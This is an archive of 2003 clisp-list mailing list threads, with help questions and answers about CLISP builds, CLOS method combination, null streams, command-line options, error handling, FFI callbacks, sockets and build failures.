I.e., when I do 

./configure .... --build=mydir

then later when I cd to "mydir" and do repeated makes, without making
any changes, it recompiles modules.c and relinks lisp.run



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> * In message <200308291850.h7TIoH00018648@van-halen.alma.com>
> * On the subject of "Re: [clisp-list] modules update"
> * Sent on Fri, 29 Aug 2003 14:50:17 -0400
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>  > are you saying that you do "make" and rebuild everything and then
>  > "make" again and _again_ you rebuild everything?!
> 
> No, just modules.o and lisp.run.
> 
> I.e., when I do 
> 
> ./configure .... --build=mydir
> 
> then later when I cd to "mydir" and do repeated makes, without making
> any changes, it recompiles modules.c and relinks lisp.run

this is weird.
does it then proceed to recompile all *.lisp and re-dump lispinit.mem?
if not, this is a bug in make.
if yes, could you please investigate this?
this does not happen to me, so I cannot debug it.
you need to figure out which make rules are triggered and why.
"make -d" will print more than you will ever want to see, but you can
grep through it...

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 > does it then proceed to recompile all *.lisp and re-dump lispinit.mem?

No, but I'll try "make -d" and see what's happening anyway


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> No, but I'll try "make -d" and see what's happening anyway

I got you - it re-links full/lisp.run, not base/lisp.run!

I think it has always been like this.

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	instances and the methods > associated with it.. > But I am extremely
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amit phalgune writes:
> Hi David,
> Thanks for the reply. Do you mean that I change the progn to
> call-next-method.
> There is just one defmethod with progn in the source I have.
> But I still have a doubt. I have basically not understood what the
> defgeneric code is doing.
> It all seems to be related to classes and instances and the methods
> associated with it..
> But I am extremely unclear and confused abt it. I tried to look on the =
net
> for the related documents.. but since I am not aware of OO lisp, or for
> that matter even normal LISP ( i have just begun coding in LISP)..=20

One essential  resource for Common-Lisp programmers  is obviously: The
Common-Lisp HyerSpec at:

       http://www.lisp.org/
       http://www.lisp.org/HyperSpec/FrontMatter/Chapter-Index.html

There is a chapter on Objects:

       http://www.lisp.org/HyperSpec/Body/chap-7.html

See also:  http://www.cliki.org/  for links.


> I am not able to understand what that code is supposed to do and why
> and what happens if we replace progn with (call-next-method)
>=20
> I will be extremely grateful if you can kindly explain it to me...

defgeneric  just defines an  interface to  a generic  operation.  Once
defined,  the  system will  know  that  any  function call  with  this
function  name should  be  dispatched  depending on  the  type of  the
arguments, selecting a method.

Introduction to Generic Functions:
       http://www.lisp.org/HyperSpec/Body/sec_7-6-1.html

Since there may be multiple inheritance of objects, several method may
apply for on generic call. The  question is then in what order to call
the various methods.

In  other object oriented  languages, usually  only the  most specific
method is invoked (but with multiple inheritance, there may be no most
specific method).  So defgeneric allow  you to specify a default order
for the method invocation, and you can do it when defining each method
too.
      http://www.lisp.org/HyperSpec/Body/sec_7-6-6.html

> > >  (defgeneric destroy (a) (:method-combination progn))

Since   you're  implementation   does  not   know  the   progn  method
combination, you may choose  another order yourself. Check the various
destroy methods  you have  and determine in  which order they  must be
run.  If they have to be run  from the most specific first to the less
specific last, it's :before.  Otherwise, it's :after.  If the order is
more complicated  (unlikely since it  was specified progn),  you would
use :arround, and  in each method, you could specify  when to call the
less specific method with (call-next-method).

So, removing (:method-combination progn) from the defgeneric,
and adding :before to the defmethod destroy,=20
could be the solution:

      (defgeneric destroy (a))
      (defmethod  destroy :before ((a class-1) #| ... |# )
      (defmethod  destroy :before ((a class-2) #| ... |# )


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Date: Fri Aug 29 16:32:05 2003
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Pascal J.Bourguignon wrote:

>      (defgeneric destroy (a))
>      (defmethod  destroy :before ((a class-1) #| ... |# )
>      (defmethod  destroy :before ((a class-2) #| ... |# )
>


Hey, yah, using :before is better than my idea of embedding 
(call-next-method).  You have to ensure that there's at least one 
applicable main method though:

(defmethod destroy ((whatever t))
  ;; do nothing
  )

The downside of the :before approach is that it doesn't correctly 
simulate the return value, but given the name of the function is 
DESTROY, I doubt your callers care.



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Does anyone know what causes this error. I have a defclass on RGNCRGNODE
(defclass RgnCRGNode (CRGNode Rect)())
now when I try to call a defmethod,
e.g :
(defmethod XYZ ((abc RgnCRGNode))
I get the following error..

*** - FIND-CLASS: RGNCRGNODE does not name a class

Can anyone guide me..
Amit



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Hi guys,
Thanks a lot for the help and the detailed replies. I was finally able to
take care of the problem with you help.. Thanks for helping a newbie..

Really appreciate it ..
Let the help keep coming .
Amit




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amit phalgune writes:
>=20
> Does anyone know what causes this error. I have a defclass on RGNCRGNOD=
E
> (defclass RgnCRGNode (CRGNode Rect)())
> now when I try to call a defmethod,
> e.g :
> (defmethod XYZ ((abc RgnCRGNode))
> I get the following error..
>=20
> *** - FIND-CLASS: RGNCRGNODE does not name a class
>=20
> Can anyone guide me..
> Amit

As you may have noticied, names following capitalizing conventions are
not well  fit to the  lisp way of  life.  You should rather  use names
such as: rgn-crg-node.

With (defmethod xyz  ((abc rgncrgnode)) ... ) you  are not calling the
method,  you are  defining  it.   Calling the  method  would be,  thru
sending a message: (xyz a-rgncrgnode-instance).

Otherwise,  you  gave  too   little  information  to  receive  helpful
feedback.

(defclass rect () ())
(defclass crg-node () ())
(defclass rgn-crg-node (crg-node rect) ())
(defmethod xyz((abc rgn-crg-node)))

works perfectly well:

[107]> (defclass rect () ())
(defclass rect () ())
#<STANDARD-CLASS RECT>
[108]> (defclass crg-node () ())
#<STANDARD-CLASS CRG-NODE>
[109]> (defclass rgn-crg-node (crg-node rect) ())
#<STANDARD-CLASS RGN-CRG-NODE>
[110]> (defmethod xyz((abc rgn-crg-node)))
#<STANDARD-METHOD (#<STANDARD-CLASS RGN-CRG-NODE>)>
[111]> (xyz (make-instance 'rgn-crg-node))
NIL
[112]>=20


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When we were trying to figure out how to implement the next generation
of
packet analysis and response mechanisms, we chose Clisp as our platform
because it afforded us several major advantagtes over any other
solution.

1) Flexibility

We were building a platform for several products and as such we needed
to be
certain that our investment in the platform would pay off many times
over.
To assure this we needed to make certain that no matter what we
ultimately
wanted to do, we could do it and that it would be able to run on
whatever
platforms we had to use it on.  Clisp offers this.

2) Programmability and Development Speed

We build systems that are extremely field programmable.  Our goal is
that
these systems will have GUIs for simple configuration, but that in the
end
we need the ability for the person in control to do anything they need
to
do. We we built a 3-teired system. The GUIs allows people to do the
simple
things that most products allow them to do. The GUI generates output in
a language that is similar to router table languages. This language
allows
you to put lisp statements at various points in the code that it
generates.
That code is then turned into lisp functions that are compiled and run
as
the applicaiton, or can be compiled into lisp functions and altered for
really strange cases. In other words, the GUI generates code that
generates
code, and that code is compiled and executed. The person using these
functions
can intercept the process at any point. In many cases, the ones we
encounter
every day, the GUI does the job. In other cases where creating a GUI is
too
expensive to justify the special case, we use the intermediate language
and
add a few lines of lisp to the control language and as much code as we
need
in loadable lisp programs. So far we have never had to intervene at the
level
of modifying our intermediate compiler output. This makes development of
new
custom and semicustom applications very cost effective and quick, but it
also provides an added benefit that you just don't get anywhere else. A
reasonably skilled programmer with only a limited understanding of lisp
can
build situation-dependent code that does things no competitor can get
close
to and do it in the field.

3) Operational performance

Of course none of this would be worth anything in our packet sniffing
and
analysis platform if we couldn't get excellent performance. And that's
where lisp surprises most folks, but not us. The compiled lisp code
gives us almost the same performance as C code in most cases, but in
some
cases, the lisp beats the C code hands down. For example, we are using
the RegEx and Lexer lisp code that produces string search and analysis
faster than C libraries to allow us to detect patterns within packets
and
change the function of the platform with respec to those data streams as
they
flow past or through our systems. For a field programmable device, this
gives
unprecendented flexibility at wire speeds.

I have used lisp on and off since I was a teenager using an IBM 360, and
even
though I have gone away from it from time to time, and it isn't ideal
for
evrything, there are still things that lisp does that cannot be touched
by
any other programming language. I am not religious about languages, I am
just
a pragmatic person who uses the best alternative I can find. And in this
case,
as in many others, Lisp is it.

FC
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Fred Cohen writes:

> When we were trying to figure out how to implement the next generation
> of
> packet analysis and response mechanisms, we chose Clisp as our platform
> because it afforded us several major advantagtes over any other
> solution.

Cool. Can you please add an entry to the industry applications and/or
success stories page at ALU CLiki?

  http://alu.cliki.net


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Hi,

I'm curious if there is something I can do (e.g. a build-option or
whatever) to get CLISP to give me names of required arguments to
functions.  Key-arguments and optional arguments of compiled functions
are named, but required arguments show up as arg0, arg1, etc.

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> * In message <lzad9pmqsl.fsf@unity.copyleft.no>
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>
> I'm curious if there is something I can do (e.g. a build-option or
> whatever) to get CLISP to give me names of required arguments to
> functions.  Key-arguments and optional arguments of compiled functions
> are named, but required arguments show up as arg0, arg1, etc.

CLISP does not keep this information.
It only knows the number of required and optional arguments, not the
lists of names.
keeping the names would require much work for little (IMO) gain, but
you are, of course, welcome to work on this (although I think the time
is better spent on other projects).

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I am trying to do the following in CLISP , Windows :

(defvar         $jvStream *null-stream*)

I get the following error.
*** - EVAL: variable *NULL-STREAM* has no value.

Can anyone please help !
Amit




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Hello amit,

Tuesday, September 2, 2003, 10:08:08 AM, you wrote:

amit> I am trying to do the following in CLISP , Windows :
amit> (defvar         $jvStream *null-stream*)
amit> I get the following error.
amit> *** - EVAL: variable *NULL-STREAM* has no value.

Why it should ? There's no *NULL-STREAM* mention in HyperSpec nor in
impnotes. But I believe (open "nul" :direction :output) makes what do
you want on Windows.

-- 
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Hi,
Ya , I could figure out that there is no NULL-STREAM. But I was looking
for a corresponding expression in CLISP..
Amit


On Tue, 2 Sep 2003, Arseny Slobodjuck wrote:

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>
> Tuesday, September 2, 2003, 10:08:08 AM, you wrote:
>
> amit> I am trying to do the following in CLISP , Windows :
> amit> (defvar         $jvStream *null-stream*)
> amit> I get the following error.
> amit> *** - EVAL: variable *NULL-STREAM* has no value.
>
> Why it should ? There's no *NULL-STREAM* mention in HyperSpec nor in
> impnotes. But I believe (open "nul" :direction :output) makes what do
> you want on Windows.
>
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> Ya , I could figure out that there is no NULL-STREAM. But I was looking
> for a corresponding expression in CLISP..

(make-two-way-stream
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Hi guys,
Sorry for bothering you guys a lot.
I tried to go through  the socumentation of command line options for CLISP
and could not find anything useful.
e.g : in CMUCL we have a -noinit , -load  and -eval options.

Does CLISP have similar command line options ?
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interested in the -noinit, -load and -eval options using CLISP

Thanks
Amit




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> Amit

In Common-Lisp, for  output, you could use a  broadcast stream with no
attached output stream:

       (defvar *null-stream-output* (make-broadcast-stream))

For input, you could use a string stream on an empty string:

       (defvar *null-stream-input* (make-string-input-stream ""))

And of course, if you need an input/output stream, you can join both:

       (defvar *null-stream* (make-two-way-stream=20
                                    (make-string-input-stream "")
                                    (make-broadcast-stream)))


(dotimes (n 10) (print "Hello" *null-stream*) (listen *null-stream*))


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amit phalgune writes:
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ISP
> and could not find anything useful.
> e.g : in CMUCL we have a -noinit , -load  and -eval options.
>=20
> Does CLISP have similar command line options ?
> Can anyone provide me with the link or document. I am particuarly
> interested in the -noinit, -load and -eval options using CLISP

Of course it has: man clisp

CLISP(1)                                                 CLISP(1)



NAME
       clisp - Common Lisp language interpreter and compiler

SYNOPSIS
       clisp  [  -h  |  --help ] [ --version ] [ --license ] [ -B
       lisplibdir ] [ -K linking-set ] [ -M memfile ] [  -m  mem=AD
       size  ] [ -L language ] [ -N localedir ] [ -Edomain encod=AD
       ing ] [ -q | --quiet | --silent ] [ -w ] [ -I ] [ -a  ]  [
       -p  packagename  ] [ -C ] [ -norc ] [ -i initfile ...  ] [
       -c [ -l ] lispfile [ -o outputfile ] ...  ] [  -x  expres=AD
       sion ] [ lispfile [ argument ] ]

DESCRIPTION
       Invokes the common lisp interpreter and compiler.  Invoked
       without arguments, executes  a  read-eval-print  loop,  in
       which  expressions  are  in turn read from standard input,
       evaluated by the lisp interpreter, and their results  out=AD
       put  to  standard  output.  Invoked with -c, the specified
       lisp files are compiled to a bytecode that can be executed
       more efficiently.

OPTIONS
       -h, --help
              Displays a help message on how to use clisp.

       --version
              Displays  the clisp version number, as given by the
              function call (lisp-implementation-version).

       --license
              Displays a summary of  the  licensing  information,
              the GNU GPL.

       -B lisplibdir
              Specifies  the  installation directory. This is the
              directory containing the  linking  sets  and  other
              data files.  This option is normally not necessary,
              because  the  installation  directory  is   already
              built-in in the clisp executable.

       -K linking-set
              Specifies  the  linking  set  to  be run. This is a
              directory containing at least a main executable and
              an  initial memory image. Possible values are base,
              full, and fullnox.  The default is base.

       -M memfile
              Specifies the initial memory image.  This must be a
              memory  dump  produced by the saveinitmem function.
              It may have been compressed using GNU gzip.

       -m memsize
              Sets the amount of memory clisp tries  to  grab  on
              startup.   The amount may be given as nnnnnnn (mea=AD
              sured in bytes), nnnnK or nnnnKB (measured in kilo=AD
              bytes)  or  nM  or  nMB  (measured  in  megabytes).
              Default is  2  megabytes.   The  argument  is  con=AD
              strained above 100 KB.  -- This version of clisp is
              not likely to actually use the entire memsize since
              garbage  collection  will  periodically  reduce the
              amount of used memory.  It is therefore  common  to
              specify  10  MB  even  if only 2 MB are going to be
              used.

       -L language
              Specifies the language clisp  uses  to  communicate
              with  the user. This may be english, deutsch, fran=AD
              cais, espanol.  Other languages  may  be  specified
              through the environment variable LANG, provided the
              corresponding message catalog is installed.

       -N localedir
              Specifies  the  base  directory  of  locale  files.
              clisp   will   search   its   message  catalogs  in
              localedir/language/LC_MESSAGES/clisp.mo.

       -Edomain encoding
              Specifies the encoding used  for  a  given  domain,
              overriding  the  default which depends on the envi=AD
              ronment variables LC_ALL, LC_CTYPE,  LANG.   domain
              can  be file, affecting *default-file-encoding*, or
              pathname, affecting *pathname-encoding*, or  termi=AD
              nal,  affecting  *terminal-encoding*,  or  foreign,
              affecting *foreign-encoding*,  or  misc,  affecting
              *misc-encoding*.

       -q, --quiet, --silent
              Quiet:  clisp  displays no banner at startup and no
              good-bye message when quitting.

       -w     Wait for keypress after program termination.

       -I     Be ILISP friendly. ILISP is  an  alternative  Emacs
              interface to Common Lisp systems. With this option,
              clisp interacts in a way that ILISP can deal  with.
              Currently  the only effect of this is that unneces=AD
              sary prompts are not suppressed.  Furthermore,  the
              GNU  readline  library treats Tab as a normal self-
              inserting character.

       -a     ANSI CL compliant: Comply with the ANSI CL specifi=AD
              cation  even  on those issues where ANSI CL is bro=AD
              ken. This option is provided for maximum  portabil=AD
              ity  of Lisp programs, and is not useful for actual
              everyday work. It sets the  variable  *package*  to
              COMMON-LISP-USER, and the symbol macro *ansi* to t.
              See impnotes.html, section "Maximum ANSI CL compli=AD
              ance", for details.

       -p packagename
              At startup the value of the variable *package* will
              be set  to  the  package  named  packagename.   The
              default  is  the  package which was active when the
              image was saved, normally USER, or COMMON-LISP-USER
              if the option -a was specified.

       -C     Compile  when  load:  At  startup  the value of the
              variable *load-compiling* will be set to  t.   Code
              being loaded will then be compiled on the fly. This
              results in slower loading, but faster execution.

       -norc  Normally clisp loads a user run control  (RC)  file
              on  startup  (this  happens  after the -C option is
              processed).       The      file      loaded      is
              ${HOME}/.clisprc.lisp    or   ${HOME}/.clisprc.fas,
              whichever is newest. This option,  -norc,  prevents
              loading of the RC file.

       -i initfile ...
              Specifies  initialization  files  to  be  loaded at
              startup. These should be lisp files (source or com=AD
              piled).  Several  -i  options can be given; all the
              specified files will be loaded in order.

       -c lispfile ...
              Compiles  the  specified  lispfiles   to   bytecode
              (*.fas).  The  compiled  files  can  then be loaded
              instead of the sources to gain efficiency.

       -o outputfile
              Specifies the output file or directory for the com=AD
              pilation of the last specified lispfile.

       -l     A  bytecode listing (*.lis) of the files being com=AD
              piled will be produced.  Useful only for  debugging
              purposes. See the documentation of compile-file for
              details.

       -x expressions
              Executes a series of arbitrary expressions  instead
              of  a  read-eval-print  loop.   The  values  of the
              expressions will be output to standard output.  Due
              to  the  argument processing done by the shell, the
              expressions must be enclosed in double quotes,  and
              double  quotes  and backslashes must be preceded by
              backslashes.

       lispfile [argument ...]
              Loads and executes a lispfile.  There  will  be  no
              read-eval-print  loop.  Before  lispfile is loaded,
              the variable *args* will be  bound  to  a  list  of
              strings,  representing  the  arguments.   The first
              line of lispfile may start with #!, thus permitting
              clisp to be used as a script interpreter.  If lisp=AD
              file is -, the standard input is used instead of  a
              file.  This option must be the last one. No RC file
              will be executed.


REFERENCE
       The language implemented mostly conforms to
              ANSI Common Lisp standard X3.226-1994
              http://www.x3.org/tc_home/j13sd4.htm
       available online as the
              Common Lisp HyperSpec
              http://www.lisp.org/HyperSpec/
              ("CLHS" for short)
       which supersedes the earlier specifications
              Guy L. Steele Jr.: Common Lisp - The Language.
              Digital Press. 2nd edition 1990, 1032 pages.
              http://www.cs.cmu.edu/afs/cs.cmu.edu/project/ai-
        repository/ai/html/cltl/cltl2.html
              ("CLtL2" for short)
       and
              Guy L. Steele Jr.: Common Lisp - The Language.
              Digital Press. 1st edition 1984, 465 pages.
              ("CLtL1" for short)

USE
       help   to get some on-line help.

       (apropos name)
              lists the symbols relating to name.

       (exit) or (quit) or (bye)
              to quit clisp.

       EOF (Ctrl-D)
              to leave the current read-eval-print loop.

       arrow keys
              for editing and viewing the input history.

       Tab key
              to  complete the symbol's name you are just typing.

FILES
       clisp  startup script

       lisp.run
              main executable

       lispinit.mem
              initial memory image

       config.lisp
              site-dependent configuration

       *.lisp lisp source

       *.fas  lisp code, compiled by clisp

       *.lib  lisp source library information, generated and used
              by the clisp compiler

       *.c    C code, compiled from lisp source by clisp

ENVIRONMENT
       CLISP_LANGUAGE
              specifies  the  language  clisp uses to communicate
              with the user. The value may be  english,  deutsch,
              francais  and  defaults  to english.  The -L option
              can be used to override this environment  variable.

       LC_CTYPE
              specifies the locale which determines the character
              set in use.  The value can be of the form  language
              or  language_country  or  language_country.charset,
              where language is a  two-letter  ISO  639  language
              code  (lower case), and country is a two-letter ISO
              3166 country code  (upper  case).   charset  is  an
              optional  character  set  specification,  and needs
              normally not be given because the character set can
              be inferred from the language and country.

       LANG   specifies  the  language  clisp uses to communicate
              with the  user,  unless  it  is  already  specified
              through  the environment variable CLISP_LANGUAGE or
              the -L option.  It also specifies the locale deter=AD
              mining  the  character  set  in use, unless already
              specified   through   the   environment    variable
              LC_CTYPE.   The  value  may begin with a two-letter
              ISO 639 language code, for example en, de, fr.

       HOME and USER
              are used for determining the value of the  function
              user-homedir-pathname.  (Unix implementation only.)

       SHELL (Unix implementation only)
              is used to find the interactive command interpreter
              called by (shell).

       TERM   determines the screen size recognized by the pretty
              printer.  This environment variable is also  manda=AD
              tory for the built-in screen editor.

SEE ALSO
       impnotes.html, cmucl(1), xemacs(1).

BUGS
       Not all extensions from CLtL2 are supported.

       No  on-line  documentation  beyond apropos and describe is
       available.

PROJECTS
       Writing on-line documentation.

       Enhance the compiler such that it can inline  local  func=AD
       tions.

       Specify  a portable set of window and graphics operations.

AUTHORS
       Bruno Haible and Michael Stoll.



                          31 March 2000                  CLISP(1)

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Hi all,

I am looking for a content management system for a non-profit organization I
am involved with, and as it is looking like I will be doing most of the
development on it I would prefer a lisp or scheme based system.

The reason I am asking this on Clisp is one of the needs of the system is
that it work on a variety of platforms, mainly *nix based and windows, and
clisp fits the bill here.

The basics of the cms would involve mostly web based publication, with good
multi-language support as the core of the documentation to be made will be
translated into a number of different languages.  There will be a number of
contributors, and a need for the look and feel to be relatively customizable
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avail.

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did you look at the FAQ?
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On Wednesday, Sep 3, 2003, at 04:09 US/Eastern, sorokinru wrote:

> Hello clisp-list,
>
>   I am a list newbi. I tried to handle errors with the UNWIND-PROTECT
>   function, but CLISP stop execution and switch to break dialog. How
>   to handle errors programmatically without execution breake? Thanks 
> in advance.
>
> -- 
> Sincerely,
>  Ru                          mailto:sorokinru@iias.spb.su

UNWIND-PROTECT does not handle errors, it simply lets you run code as 
"your" stack is being exited. You probably want to use HANDLER-BIND or 
HANDLER-CASE, but without knowing more specificly what you're trying to 
do...

I've found (so far) that CLISP conforms to the ANSI spec for 
CATCH/THROW/SIGNAL/HANDLER...

<D\'gou



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Hi,

Friday, August 08, 2003, 11:05:55 PM, somebody wrote:

>>> It's a pity that def-call-in hardly can be made dynamic while it
seems
>>> crucial for typical event-driven windows app.
>> well, this is caused by the non-dynamic nature of C/C++, right?
>But you have already done dynamic parameter/result translation! How
>about to made a fixed number of entry points/slots being defined by
>def-call-in ? (and clisp being compiled as a shared library)

I believe somebody is mislead. CLISP FFI has little problems with callbacks AFAIK. DEF-CALL-IN is not the way to go for dynamic callbacks. C/C++ is not the problem.

If you want to install a callback (e.g. for an event driven loop), you need to invoke a def-call-out :library function which takes a C-FUNCTION object as parameter somewhere (or a C-STRUCT which contains such).
A Lisp function passed as parameter thereof will be converted to a callback function pointer that the foreign (C/C++/xyz) world will receive and can use.

Please try it out.

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 Jorg Hohle.



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sorokinru writes:
> Hello clisp-list,
>=20
>   I am a list newbi. I tried to handle errors with the UNWIND-PROTECT
>   function, but CLISP stop execution and switch to break dialog. How
>   to handle errors programmatically without execution breake? Thanks in=
 advance.

For this, I use handler-case:

[2]> (handler-case
        (/ 1 0)
     (error (err) (format t "Got an error ~S~%" err) :infinity))
[9]> Got an error #<SYSTEM::SIMPLE-DIVISION-BY-ZERO #x203E66D1>
:INFINITY


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Moin Sam Steingold,
  
> GNU CLISP 2.31 (2003-09-01) is now available from the usual distribution
> sites.

  I just tried them, and I have bad news ;( 2.31 failed regression test
  with a segmentation fault on Debian/Woody (stable / gcc 2.95.4) and
  much before on Debian/Sarge (unstable / gcc 3.3.2). The Woody system
  is still able to compile 2.30 - while the Sarge system also fails on
  on clisp 2.30 - I'll step back to gcc 3.2.3 tomorrow.

Woody
    (PPRINT-DISPATCH NIL T) 
    OK: TYPE-ERROR
    (PPRINT-EXIT-IF-LIST-EXHAUSTED) 
    OK: ERROR
    (PPRINT-INDENT NIL 2) 
    OK: ERROR
    (LET ((X (MAKE-STRING-OUTPUT-STREAM))) (PPRINT-LOGICAL-BLOCK (X NIL :PREFIX 24))) 
    OK: TYPE-ERROR
    (LET ((X (MAKE-STRING-OUTPUT-STREAM))) (PPRINT-LOGICAL-BLOCK (X NIL :PREFIX "a" :PER-LINE-PREFIX "b"))) 
    OK: ERROR
    (PPRINT-NEWLINE :FRESH) 
    OK: TYPE-ERROR
    (PPRINT-POP) 
    OK: ERROR
    (PPRINT-TAB :PARAGRAPH 0 1) 
    OK: ERROR
    (LET ((*PRINT-READABLY* T)) (PRINT-UNREADABLE-OBJECT (NIL *STANDARD-OUTPUT*))) 
    OK: PRINT-NOT-READABLE
    (PRINT 1 2) make[1]: *** [tests] Segmentation fault
    make[1]: Leaving directory `/bakunin/export/home/kraehe/lisp/clisp-2.31/src/suite'
    make: *** [testsuite] Error 2
    bakunin:~/lisp/clisp-2.31/src $ 

Sarge
    Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
    Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
    Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
    Copyright (c) Bruno Haible, Sam Steingold 1999-2003

    ;; Loading file defseq.lisp ...
    ;; Loaded file defseq.lisp
    ;; Loading file backquote.lisp ...
    ;; Loaded file backquote.lisp
    ;; Loading file defmacro.lisp ...
    ;; Loaded file defmacro.lisp
    ;; Loading file macros1.lisp ...
    ;; Loaded file macros1.lisp
    ;; Loading file macros2.lisp ...
    ;; Loaded file macros2.lisp
    ;; Loading file defs1.lisp ...
    ;; Loaded file defs1.lisp
    ;; Loading file places.lisp ...
    ;; Loaded file places.lisp
    ;; Loading file floatprint.lisp ...
    ;; Loaded file floatprint.lisp
    ;; Loading file type.lisp ..../lisp.run: relocation error: /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER
    make: *** [interpreted.mem] Error 127
    makhno:~/clisp-2.31/src $ 

Sarge - clisp 2.30
    installing clisplow_fr.gmo as ../locale/fr/LC_MESSAGES/clisplow.mo
    installing es.gmo as ../locale/es/LC_MESSAGES/clisp.mo
    installing clisplow_es.gmo as ../locale/es/LC_MESSAGES/clisplow.mo
    installing nl.gmo as ../locale/nl/LC_MESSAGES/clisp.mo
    installing clisplow_nl.gmo as ../locale/nl/LC_MESSAGES/clisplow.mo
    installing ru.gmo as ../locale/ru/LC_MESSAGES/clisp.mo
    installing clisplow_ru.gmo as ../locale/ru/LC_MESSAGES/clisplow.mo
    make[1]: Leaving directory `/home/kraehe/clisp-2.30/src/po'
    rm -rf data
    mkdir data
    cd data && ln -s ../../utils/unicode/ftp.unicode.org/UnicodeData.txt .
    cd data && ln -s ../../src/clhs.txt .
    gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o ari80386.o modules.o libcharset.a libavcall.a libcallback.a -lreadline -lncurses  -ldl   -o lisp.run
    sync
    ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)"

    *** - FUNCALL: the function GRAY::STREAM-WRITE-CHAR-SEQUENCE is undefined
    1. Break> 

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Hi CLISP users,

I am trying to create a clinet server application.
The server side is in CLISP and the client is java. There are calls sent
from Java to CLISP ( the server side).
I have been through the impnotes.html about the Socket Streams. I am using
the socket-server function with the port number as a parameter. The
function returns me a socket number like :
#<SOCKET-SERVER 0.0.0.0:49152> , where 49152 is the port number ,I sent to
te socket-server function.
Now the client , when connecting to the LISP side ( I guess looks for a
numeric value like : 6 or 7 ( basically the socket number in a numeric
format.) I cannot change the client side code to accept the new format of
the socket number.
Can you guys suggest me how I can go about this whole thing, with the
CLISP calls returning me a socket number ( numeric).
If that is not poosible, can u let me know if I am using the correct
function ( socket-server). Am I supposed to use socket-connect or
socket-accept.

P.S : I am trying the whole procedure on a windows machine.

Thanks
Amit




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 > I am trying to create a clinet server application.
 > The server side is in CLISP and the client is java.

I think these days if you have such a setup you are encouraged to use
the "SOAP" standard which lets you define a "web service."  However, I
know of no SOAP implementation for Lisp.  Maybe I could do what I did
w/ FastCGI and make bindings for a "C" implementation such as Apache
Axis.  Hmmmm...

 > I am using the socket-server function with the port number as a
 > parameter.

Yes that it probably what you want for the server side in Lisp.

 > The function returns me a socket number like : #<SOCKET-SERVER
 > 0.0.0.0:49152> , where 49152 is the port number ,I sent to te
 > socket-server function.

Actually the function SOCKET-SERVER does not returna number, but
rather a Lisp of a special type, also called SOCKET-SERVER.  E.g.:

    [1]> (setf s (socket-server 49152))
    #<SOCKET-SERVER 0.0.0.0:49152>
    [2]> (type-of s)
    SOCKET-SERVER
    [3]> (describe s)
    
    #<SOCKET-SERVER 0.0.0.0:49152> is 
    *** - The value of (TYPE-OF SYSTEM::OBJ) must be one of FOREIGN-POINTER, FFI:FOREIGN-ADDRESS, FFI:FOREIGN-VARIABLE, FFI:FOREIGN-FUNCTION, BYTE, SPECIAL-OPERATOR, LOAD-TIME-EVAL, SYMBOL-MACRO, MACRO, FUNCTION-MACRO, ENCODING, WEAK-POINTER, SYSTEM::READ-LABEL, SYSTEM::FRAME-POINTER, SYSTEM::SYSTEM-INTERNAL, ADDRESS
    The value is: SOCKET-SERVER
    1. Break [4]> 

As you can see, a SOCKET-SERVER cannot be described; looks like a
CLISP glitch since I believe you should be able to describe anything.

 > Now the client , when connecting to the LISP side ( I guess looks for
 > a numeric value like : 6 or 7 ( basically the socket number in a
 > numeric format.)

What the client is really trying to do is establish the connection
using two pieces of info: the IP address and the port number.  The IP
address and port the Java client uses is determined on the Java side.
The port number used to create the SERVER-SOCKET in Lisp must agree
with the port number used by the Java client.  You are sure that port
number 49152 is what is being used by Java?

Is your Java client documented?  If so it should tell you what port it
users.  If not, there are tools for GNU/Linux (tcpdump) that will let
you observe what port Java is using.  Consider GNU/Linux.

 > I cannot change the client side code to accept the new format of the
 > socket number.  Can you guys suggest me how I can go about this whole
 > thing, with the CLISP calls returning me a socket number ( numeric).

Once the CLISP function SOCKET-SERVER returns, your Lisp server
program is in a state where it is not "listening" for connections.  At
this point the custom is to create a loop where you "accept" client
connections.  After each connection is accepted, you then handle the
data traffic over the socket connection.  Then the loop continues.
FYI, there are two important flavors of such a loop: (1) where the
handling of the connection is done in a separate thread of processing,
launched by calling fork() or other call, and (2) where the handling
is all done completely before the loop continues and accepts a new
connection.  But don't worry about this for now.

 > If that is not poosible, can u let me know if I am using the correct
 > function ( socket-server). Am I supposed to use socket-connect or
 > socket-accept.

On the CLISP side, because it is the server, you would be using
SOCKET-SERVER to being listening on the TCP port, and, in your loop,
SOCKET-ACCEPT to handle connections from the client.  You would not
use SOCKET-CONNECT which is only relevant for the client side.

 > P.S : I am trying the whole procedure on a windows machine.

The concepts for how TCP and sockets work are the same on Unix and
windows.  TCP/IP is the great bridge b/w Unix and Windows really.  If
I had a nickel for every time a Windows-based browser connected to a
Unix-based Web server I'd be richer than Bill Gates. or maybe not.

Hope this helps.  Good luck.

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 > Once the CLISP function SOCKET-SERVER returns, your Lisp server
 > program is in a state where it is not "listening" for connections.

Oops, I meant to say:

Once the CLISP function SOCKET-SERVER returns, your Lisp server
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Hi,
I am looking for a LISP implementation ( preferably free ) (open source)
which supports multithreading and runs on windows, Max OS 10 , Unix and or
Sun machines.

Any pointers on this will be of great help

Thanks in advance
Amit



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I am having a problem building CLISP 2.31 on a gentoo system
(linux-2.4.20-gentoo-r6) with glibc-2.3.2.  It is failing at:

gcc -O3 -mcpu=pentium3 -funroll-loops -pipe -I. -I../../../ffcall/callback/trampoline_r -c ../../../ffcall/callback/trampoline_r/trampoline.c -o trampoline.o
../../../ffcall/callback/trampoline_r/trampoline.c: In function `alloc_trampoline_r':
../../../ffcall/callback/trampoline_r/trampoline.c:455: `MAP_VARIABLE' undeclared (first use in this function)
../../../ffcall/callback/trampoline_r/trampoline.c:455: (Each undeclared identifier is reported only once
../../../ffcall/callback/trampoline_r/trampoline.c:455: for each function it appears in.)
make[2]: *** [trampoline.lo] Error 1
